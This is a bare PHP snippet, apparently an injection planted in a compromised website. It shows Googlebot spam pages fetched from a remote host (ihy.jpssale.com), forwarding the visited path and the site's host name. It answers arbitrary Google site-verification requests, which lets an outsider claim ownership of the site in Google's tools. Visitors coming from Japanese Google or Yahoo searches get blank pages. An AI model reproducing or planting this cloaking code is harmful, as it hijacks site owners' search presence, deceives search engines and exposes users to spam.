if($_GET['google']!=""){ echo 'google-site-verification: google'.$_GET['google'].'.html';exit; } $regex = "/^\/\+[A-Za-z0-9\_]+\/[A-Za-z0-9\_]+\/[A-Za-z0-9\_]+$/"; $query = $_SERVER['REQUEST_URI']; if(strstr($query,"sitemap.xml")){ echo GetFileContent("sitemap.xml");exit; } if(stripos($_SERVER['HTTP_USER_AGENT'], 'Googlebot') !== false){ if(isset($query) && preg_match($regex,$query)){ $str = GetFileContent("http://ihy.jpssale.com/thanks/1030jc10263/pages.php?".$query."|".$_SERVER["HTTP_HOST"]); echo $str; exit; }else{ $str = GetFileContent("http://ihy.jpssale.com/thanks/1030jc10263/pages_yz.php?".$query."|".$_SERVER["HTTP_HOST"]); echo $str; exit; } } if(preg_match('/(google.co.jp|yahoo.co.jp)/i', strtolower($_SERVER['HTTP_REFERER']))){ if(isset($query) && preg_match($regex,$query)){ echo ''; exit; }else{ } } if($_GET['uu']!=""){ echo ''; exit; } function GetFileContent($url){ if(function_exists('file_get_contents')) { $file_contents = file_get_contents($url); } else { $ch = curl_init(); $timeout = 5; curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $file_contents = curl_exec($ch); curl_close($ch); } return $file_contents; } ?>